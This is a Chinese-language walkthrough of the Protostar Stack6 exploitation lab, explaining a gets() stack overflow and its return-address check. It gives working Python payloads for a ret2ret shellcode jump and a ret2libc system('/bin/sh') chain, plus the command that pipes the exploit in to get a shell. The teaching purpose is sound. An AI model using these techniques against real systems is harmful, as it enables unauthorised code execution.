首页 > 其他分享 >Pwn系列之Protostar靶场 Stack6题解

Pwn系列之Protostar靶场 Stack6题解

时间：2023-04-18 20:56:58浏览次数：49  
标签：eax buffer 题解 system ret mov Pwn 地址 Stack6

源码如下：

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

void getpath()
{
  char buffer[64];
  unsigned int ret;

  printf("input path please: "); fflush(stdout);

  gets(buffer);

  ret = __builtin_return_address(0);

  if((ret & 0xbf000000) == 0xbf000000) {
    printf("bzzzt (%p)\n", ret);
    _exit(1);
  }

  printf("got path %s\n", buffer);
}

int main(int argc, char **argv)
{
  getpath();
}

首先，我们先来分析这段程序在做什么？

  1. 第1-4行导入一些常见的库函数
  2. 第6行定义了getpath()函数
  3. 第8行定义了一个buffer数组，数组长度是64
  4. 第9行定义了一个unsigned int 变量，变量名ret
  5. 第11行打印输出字符串“input path please”
  6. 第13行用gets函数向buffer数组写入字符
  7. 第15行用编译器的内建函数__builtin_return_address(0)返回当前函数的返回地址，需要进一步说明的是__builtin_return_address(1)是返回调用getpath函数的函数的返回地址（Caller's ret）。
  8. 第17行-20行就是判断该返回地址的高位是否是0xbf，如果是，退出函数。
  9. 第22行打印buffer的值

不难知道，main函数是Caller，所以第15行的返回值一定就是main函数中的下一条指令的地址，我们来查看一下当程序运行时，系统为该程序分配的栈地址是多少。

先在main函数里打个断点（程序运行后，才会由内存映射），然后使用info proc map查看

Mapped address spaces:

	Start Addr   End Addr       Size     Offset objfile
	 0x8048000  0x8049000     0x1000          0        /opt/protostar/bin/stack6
	 0x8049000  0x804a000     0x1000          0        /opt/protostar/bin/stack6
	0xb7e96000 0xb7e97000     0x1000          0        
	0xb7e97000 0xb7fd5000   0x13e000          0         /lib/libc-2.11.2.so
	0xb7fd5000 0xb7fd6000     0x1000   0x13e000         /lib/libc-2.11.2.so
	0xb7fd6000 0xb7fd8000     0x2000   0x13e000         /lib/libc-2.11.2.so
	0xb7fd8000 0xb7fd9000     0x1000   0x140000         /lib/libc-2.11.2.so
	0xb7fd9000 0xb7fdc000     0x3000          0        
	0xb7fe0000 0xb7fe2000     0x2000          0        
	0xb7fe2000 0xb7fe3000     0x1000          0           [vdso]
	0xb7fe3000 0xb7ffe000    0x1b000          0         /lib/ld-2.11.2.so
	0xb7ffe000 0xb7fff000     0x1000    0x1a000         /lib/ld-2.11.2.so
	0xb7fff000 0xb8000000     0x1000    0x1b000         /lib/ld-2.11.2.so
	0xbffeb000 0xc0000000    0x15000          0           [stack]

第17行可以看到，栈空间的首地址是0xbffeb000。所以源代码中的if判断针对性非常强，也就是说没法将getpath的返回地址直接返回到buffer的首地址（因为buffer在栈上），实现ret2shellcode。

但是真的不能利用了吗？显然还有机会！但是机会是有前提的。这道题存在两个假设：

  1. 假设栈上可以执行代码（ret2shellcode）

  2. 假设栈上不能执行代码（ret2libc）

接下来，我们将根据两个假设做进一步分析。

getpath的汇编代码：

(gdb) disass getpath
Dump of assembler code for function getpath:
0x08048484 <getpath+0>:	push   ebp
0x08048485 <getpath+1>:	mov    ebp,esp
0x08048487 <getpath+3>:	sub    esp,0x68
0x0804848a <getpath+6>:	mov    eax,0x80485d0
0x0804848f <getpath+11>:	mov    DWORD PTR [esp],eax
0x08048492 <getpath+14>:	call   0x80483c0 <printf@plt>
0x08048497 <getpath+19>:	mov    eax,ds:0x8049720
0x0804849c <getpath+24>:	mov    DWORD PTR [esp],eax
0x0804849f <getpath+27>:	call   0x80483b0 <fflush@plt>
0x080484a4 <getpath+32>:	lea    eax,[ebp-0x4c]
0x080484a7 <getpath+35>:	mov    DWORD PTR [esp],eax
0x080484aa <getpath+38>:	call   0x8048380 <gets@plt>
0x080484af <getpath+43>:	mov    eax,DWORD PTR [ebp+0x4]
0x080484b2 <getpath+46>:	mov    DWORD PTR [ebp-0xc],eax
0x080484b5 <getpath+49>:	mov    eax,DWORD PTR [ebp-0xc]
0x080484b8 <getpath+52>:	and    eax,0xbf000000
0x080484bd <getpath+57>:	cmp    eax,0xbf000000
0x080484c2 <getpath+62>:	jne    0x80484e4 <getpath+96>
0x080484c4 <getpath+64>:	mov    eax,0x80485e4
0x080484c9 <getpath+69>:	mov    edx,DWORD PTR [ebp-0xc]
0x080484cc <getpath+72>:	mov    DWORD PTR [esp+0x4],edx
0x080484d0 <getpath+76>:	mov    DWORD PTR [esp],eax
0x080484d3 <getpath+79>:	call   0x80483c0 <printf@plt>
0x080484d8 <getpath+84>:	mov    DWORD PTR [esp],0x1
0x080484df <getpath+91>:	call   0x80483a0 <_exit@plt>
0x080484e4 <getpath+96>:	mov    eax,0x80485f0
0x080484e9 <getpath+101>:	lea    edx,[ebp-0x4c]
0x080484ec <getpath+104>:	mov    DWORD PTR [esp+0x4],edx
0x080484f0 <getpath+108>:	mov    DWORD PTR [esp],eax
0x080484f3 <getpath+111>:	call   0x80483c0 <printf@plt>
0x080484f8 <getpath+116>:	leave  
0x080484f9 <getpath+117>:	ret    
End of assembler dump.

看汇编代码重点关注的是它的栈结构，尤其是buffer距离ret的距离。我们尝试画出getpath的栈图（大致就可以，不需要画的多细，找距离也是通过构造特殊输入计算的，而不是根据栈图计算的。）

假设一：栈上可以执行代码

正常的ret2shellcode思路：如果栈上可以执行代码，那么我们需要修改ret的返回地址，要控制ret的返回地址到shellcode的首地址，执行shellcode。但现在ret的返回地址会被检查，所以需要在正常思路稍作改动即可。

第一个ret会被检查，那么我们控制第一个ret返回的是getpath的ret指令地址，地址为是0x080484f9。此时成功绕过内建函数检查。接着控制第二个ret指向shellcode的首地址，当运行到第2个ret时，eip加载shellcode的首地址，然后就会跳转到buffer里执行shellcode代码！

要找到ret位置，首先我们构造特殊的字符串

AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ

然后运行程序

Starting program: /opt/protostar/bin/stack6 < /home/user/exp1.txt
input path please: got path AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPUUUURRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ

Program received signal SIGSEGV, Segmentation fault.
0x55555555 in ?? ()

在0x55555555中出现段错误，出现段错误的原因是ret跳转指令时发现这个地址无效。所以该地址就是ret的地址。

0x55在我们构造的字符串里是’U‘，所以只要把'U'的地址替换为ret的地址即可。具体修改如下：

(gdb) x /10xw $esp
0xbffff78c:	0x080484f9	0xbffff794	0xcccccccc	0xbffff800
0xbffff79c:	0xb7eadc76	0x00000001	0xbffff844	0xbffff84c
0xbffff7ac:	0xb7fe1848	0xbffff800

payload如下：

# 没有真的写shellcode,而是用0xc来模拟

import struct

buffer = "AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTT"

ret = struct.pack("II",0x080484f9,0xbffff794)
shellcode = struct.pack("I",0xcccccccc)

payload = buffer + ret + shellcode
print payload

假设二：栈上不可以执行代码

当栈上无法执行代码时，shellcode写入栈就没有了任何意义。那么如何利用呢？考虑的方法是借助libc库里的可执行函数，比如system()函数。system执行shell需要参数，比如“/bin/sh”字符串，我们同样也需要在libc库空间里找这个字符串。

当程序运行到ret时，ret里记录的是system函数的入口地址，程序就会jmp到system函数，system函数执行需要参数，程序就会读取"/bin/sh"字符串作为参数传递给system函数，这样就构成了system("/bin/sh")命令执行，轻松拿到shell。

如果对整个压栈的过程不是很清楚的同学们可能会疑惑，为什么syetem函数的入口地址和参数之间要隔一个system的返回地址呢？这里我简单做一个解释。

正常调用一个函数他有一个规约，对于一个main函数调用gets(buffer)函数来说，在main函数里会先把buffer参数压栈（如果是多个参数的的话，从右往左压栈），然后call gets函数。call 命令一般会干两件事，第一件事是push eip，也就是把gets函数的下一条指令地址压栈（这就是为什么栈上要放一个ret的返回的地址）。第二件事是jmp gets，跳转到gets的函数入口。

首先在libc里找到system函数的入口地址（为什么可以呢，因为libc库已经被链接到程序里了，所以可以直接搜system函数的地址）

(gdb) p system
$3 = {<text variable, no debug info>} 0xb7ecffb0 <__libc_system>

在libc库空间搜索/bin/sh字符串

user@protostar:~$ strings -t d /lib/libc-2.11.2.so | grep "/bin/sh"
1176511 /bin/sh

1176511是一个相对地址（10进制），所以还要加上libc的基址0xb7e97000（查看内存映射可得出）

Payload如下：

import struct

buffer = "AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTT"

system = struct.pack("I",0xb7ecffb0)
ret = "AAAA"

shellcode = struct.pack("I",0xb7e97000+1176511)

payload = buffer +system+ ret + shellcode
print payload

踩坑：

如果直接在gdb里尝试这个Payload会出现一个错误：

__libc_system (line=0xb7fb63bf "/bin/sh") at ../sysdeps/posix/system.c:179
179	../sysdeps/posix/system.c: No such file or directory.
	in ../sysdeps/posix/system.c

使用下面这条指令，getshell!

(python exp1.py; cat) | /opt/protostar/bin/stack6

标签：eax,buffer,题解,system,ret,mov,Pwn,地址,Stack6
From： https://www.cnblogs.com/Jiamuu/p/17330207.html

相关文章

  • CF题解
    E.ReplacetheNumbers1900思维https://codeforces.com/problemset/problem/1620/E题解：正着做比较困难，我们可以考虑从后往前做。一个数会被变成什么样子是取决于其后的2操作。2操作可以等价为一个变换，而位置越后的2操作相较前面的2操作起着决定性作用，故从后往前遍历时前面的......
  • 【题解】P6292 区间本质不同子串个数
    原题链接区间本质不同子串个数题目描述给定一个长度为\(n\)的字符串\(S\)，\(m\)次询问由\(S\)的第\(L\)到第\(R\)个字符组成的字符串包含多少个本质不同的子串。定义两个字符串\(a,b\)相同当且仅当\(|a|=|b|\)并且对于\(i\in[1,|a|]\)都有\(a_i=b_i\)。输入......
  • 超级码力初赛第二场 五字回文 题解
    题目描述小栖最近很喜欢回文串，由于小栖的幸运数字是5，他想知道形似“abcba"的回文串在他给定的字符串中的数量s.length<=10^6字符串s只包含小写字母示例示例1:输入：s="abcba"输出：1示例2:输入：s="abcbabcccb"输出：2解释：形似”abcba“的字符串有”abcba“和”cbab......
  • CF题解
    D.GuessthePermutation2000逆序性质二分https://codeforces.com/contest/1589/problem/D题解：首先我们可以二分查找i的位置：当1->x逆序对>0,则在i右，否则在左，log(n)次询问。找到i的位置后，我们发现逆序对有如下性质，i->j-1的数量和i+1->j-1的数量差为j-1-i，故我们可以询问i+1->n......
  • GDOU-CTF-2023新生赛Pwn题解与反思
    第一次参加CTF新生赛总结与反思因为昨天学校那边要进行天梯模拟赛，所以被拉过去了。16点30分结束，就跑回来宿舍开始写。第一题和第二题一下子getshell，不用30分钟，可能我没想那么多，对比网上的WP，自己和他们有点不太一样，比较暴力。大概17点10的时候，写第三题，可能自己第一次遇到随机数问......
  • elementui select下来内容过长问题解决方案
    :popper-append-to-body="false"必写自定义显示<divclass="select-flow">{{dict.declareConditions}}</div>自定义css样式el-option添加title属性 <el-selectv-model="formData.declCondition"placeholder="请选择"sty......
  • CF1646E Power Board 题解
    题目链接：https://codeforces.com/contest/1646/problem/E题目大意：有一个\(n\timesm\)的矩阵，其中第\(i\)行第\(j\)列的格子中的数字是\(i^j\)。问：矩阵中存在多少个不同的数？解题思路：可以很明显地发现，第\(1\)行的数字全部都是\(1\)，而且在其它行不会出现数值为\(1\)......
  • idea中tomcat中文显示乱码问题解决
    组合拳：1、找到tomcat安装目录下面的logging.properties文件如下图：2、修改java.util.logging.ConsoleHandler.encoding=utf-8为java.util.logging.ConsoleHandler.encoding=UTF-8 3、打开idea，在file->settings->appearence里修改Name的值为支持中文的字体4、修改file......
  • 洛谷P7492 [传智杯 #3 决赛] 序列 题解 数列分块
    题目链接：https://www.luogu.com.cn/problem/P7492解题思路：分块。解题思路全部来自yzy1大佬的博客额外掌握技能：编译时加入-Wall参数。示例程序：#include<bits/stdc++.h>usingnamespacestd;constintmaxn=1e5+5;intn,m,blo,//n表示数列长度，m表......
  • abc250_d 250-like Number 题解
    250-likeNumber题意给定一个整数\(n\)，求有多少小于等于\(n\)的满足以下条件的整数\(k\)：\(k\)可以被表示为\(k=p\timesq^3\)，其中\(p\ltq\)，并且\(p,q\)均为质数。数据范围\(1\leqslantn\leqslant10^{18}\)，\(n\)是整数。思路首先，我们发现这个式子中......

赞助商

阅读排行

网站主页关于我们联系我们网站地图

本网站内容转载自其他媒体，侵权联系[admin##ips99.com]。

Copyright © 2020-2023 IPS99 版权所有 IPS99